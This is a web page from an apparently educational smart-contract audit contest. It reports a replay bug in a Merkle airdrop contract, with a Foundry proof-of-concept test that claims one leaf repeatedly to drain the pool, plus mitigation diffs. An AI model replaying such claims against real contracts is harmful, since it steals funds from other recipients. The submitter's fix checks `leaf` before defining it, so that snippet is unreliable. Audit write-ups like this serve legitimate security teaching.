AirDropper
AI First Flight #5
Beginner FriendlyDeFiFoundry
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Missing `claimed` state allows a single leaf to be claimed repeatedly, draining the entire airdrop

mahmudonblock

Description

MerkleAirdrop::claim() verifies the Merkle proof and transfers tokens but never records that a leaf/account has been claimed. There is no mapping, no bitmap, no counter that tracks which addresses have already claimed. The Claimed event is emitted, but events are off-chain logs and cannot be read by the contract on subsequent calls.

Because the Merkle proof and inputs remain valid across calls, any caller can invoke claim(account, amount, proof) any number of times using an eligible address's public data. Each call transfers another amount to account until the contract's balance is exhausted.

Root

Vulnerability Details

MerkleAirdrop.sol:30-40:

function claim(
address account,
uint256 amount,
bytes32[] calldata merkleProof
) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(
bytes.concat(keccak256(abi.encode(account, amount)))
);
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}

  • No write to any claim-tracking state (no mapping/bitmap/counter) before or after the transfer.

  • Events are off-chain logs and cannot be read by the contract on subsequent calls.

  • FEE = 1e9 wei (~negligible) is refunded to nobody; the attacker pays essentially nothing per replay beyond gas.

Because the leaf binds only (account, amount) and the root is immutable, the proof remains valid forever, so the same claim can be executed repeatedly.

Proof of Concept (Self-Contained Solidity)

The following test demonstrates the replay vulnerability. It deploys the MerkleAirdrop contract, funds it with 2× the leaf amount, and shows that the same leaf can be claimed twice, doubling the recipient's balance.

Copy-paste this entire test into a fresh test directory in your Foundry project and run forge test --match-contract Replay --fuzz-runs 1 -vv to verify.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
​
import { MerkleAirdrop } from "../src/MerkleAirdrop.sol";
import { AirdropToken } from "./mocks/AirdropToken.sol";
import { Test } from "forge-std/Test.sol";
​
contract Replay is Test {
MerkleAirdrop public airdrop;
AirdropToken public token;
​
bytes32 constant MERKLE_ROOT = 0xf69aaa25bd4dd10deb2ccd8235266f7cc815f6e9d539e9f4d47cae16e0c36a05;
uint256 constant LEAF_AMOUNT = 25e18; // as committed in the deployed tree
bytes32[] constant PROOF = [
bytes32(0x4fd31fee0e75780cd67704fbc43caee70fddcaa43631e2e1bc9fb233fada2394),
bytes32(0xc88d18957ad6849229355580c1bde5de3ae3b78024db2e6c2a9ad674f7b59f84)
];
​
address constant RECIPIENT = 0x20F41376c713072937eb02Be70ee1eD0D639966C;
​
function setUp() public {
token = new AirdropToken();
airdrop = new MerkleAirdrop(MERKLE_ROOT, token);
token.mint(address(this), 2 * LEAF_AMOUNT);
token.transfer(address(airdrop), 2 * LEAF_AMOUNT);
}
​
function test_Replay_TwoClaimsSucceed() public {
vm.deal(RECIPIENT, 1 ether);
vm.startPrank(RECIPIENT);
​
// First claim - should succeed
uint256 balBefore = token.balanceOf(RECIPIENT);
airdrop.claim{ value: 1e9 }(RECIPIENT, LEAF_AMOUNT, PROOF);
uint256 balAfterFirst = token.balanceOf(RECIPIENT);
assertTrue(
balAfterFirst > balBefore,
"First claim did not increase recipient balance"
);
​
// Second claim - ALSO succeeds (this is the vulnerability)
airdrop.claim{ value: 1e9 }(RECIPIENT, LEAF_AMOUNT, PROOF);
uint256 balAfterSecond = token.balanceOf(RECIPIENT);
​
// Recipient ends up with 2× LEAF_AMOUNT
assertEq(
balAfterSecond - balBefore,
2 * LEAF_AMOUNT,
"Recipient should have 2× amount after two successful claims"
);
​
// Contract balance should be drained
assertEq(
token.balanceOf(address(airdrop)),
0,
"Contract should be drained after two claims"
);
​
vm.stopPrank();
}
}

Impact

  • A caller (including a non-recipient who merely relays a victim's public leaf) can drain the airdrop pool far beyond the intended 4×25 allocation.

  • The three other intended recipients are denied their allocation (DoS / griefing; account still receives the tokens, so the relayer is spending essentially nothing beyond gas).

Tools Used

Manual review; Foundry PoC (state-tracking + attacker-relay + drain scenarios).

Recommendations

Add a claimed mapping keyed by leaf index or account, enforce it (Checks-Effects-Interactions) before the transfer, and set it before safeTransfer:

+ error MerkleAirdrop__AlreadyClaimed();
+ mapping(bytes32 => bool) private s_claimed;
...
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) revert MerkleAirdrop__InvalidFeeAmount();
+ if (s_claimed[leaf]) revert MerkleAirdrop__AlreadyClaimed();
bytes32 leaf = keccak256(
bytes.concat(keccak256(abi.encode(account, amount)))
);
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) revert MerkleAirdrop__InvalidProof();
+ s_claimed[leaf] = true;
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 30 minutes ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Eligible users can claim their airdrop amounts over and over again, draining the contract

## Description A user eligible for the airdrop can verify themselves as being part of the merkle tree and claim their airdrop amount. However, there is no mechanism enabled to track the users who have already claimed their airdrop, and the merkle tree is still composed of the same user. This allows users to drain the `MerkleAirdrop` contract by calling the `MerkleAirdrop::claim()` function over and over again. ## Impact **Severity: High**<br/>**Likelihood: High** A malicious user can call the `MerkleAirdrop::claim()` function over and over again until the contract is drained of all its funds. This also means that other users won't be able to claim their airdrop amounts. ## Proof of Code Add the following test to `./test/MerkleAirdrop.t.sol`, ```javascript function testClaimAirdropOverAndOverAgain() public { vm.deal(collectorOne, airdrop.getFee() * 4); for (uint8 i = 0; i < 4; i++) { vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); } assertEq(token.balanceOf(collectorOne), 100e6); } ``` The test passes, and the malicious user has drained the contract of all its funds. ## Recommended Mitigation Use a mapping to store the addresses that have claimed their airdrop amounts. Check and update this mapping each time a user tries to claim their airdrop amount. ```diff contract MerkleAirdrop is Ownable { using SafeERC20 for IERC20; error MerkleAirdrop__InvalidFeeAmount(); error MerkleAirdrop__InvalidProof(); error MerkleAirdrop__TransferFailed(); + error MerkleAirdrop__AlreadyClaimed(); uint256 private constant FEE = 1e9; IERC20 private immutable i_airdropToken; bytes32 private immutable i_merkleRoot; + mapping(address user => bool claimed) private s_hasClaimed; ... function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable { + if (s_hasClaimed[account]) revert MerkleAirdrop__AlreadyClaimed(); if (msg.value != FEE) { revert MerkleAirdrop__InvalidFeeAmount(); } bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount)))); if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { revert MerkleAirdrop__InvalidProof(); } + s_hasClaimed[account] = true; emit Claimed(account, amount); i_airdropToken.safeTransfer(account, amount); } ``` Now, let's unit test the changes, ```javascript function testCannotClaimAirdropMoreThanOnceAnymore() public { vm.deal(collectorOne, airdrop.getFee() * 2); vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); } ``` The test correctly fails, with the following logs, ```shell Failing tests: Encountered 1 failing test in test/MerkleAirdropTest.t.sol:MerkleAirdropTest [FAIL. Reason: MerkleAirdrop__AlreadyClaimed()] testCannotClaimAirdropMoreThanOnceAnymore() (gas: 96751) ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!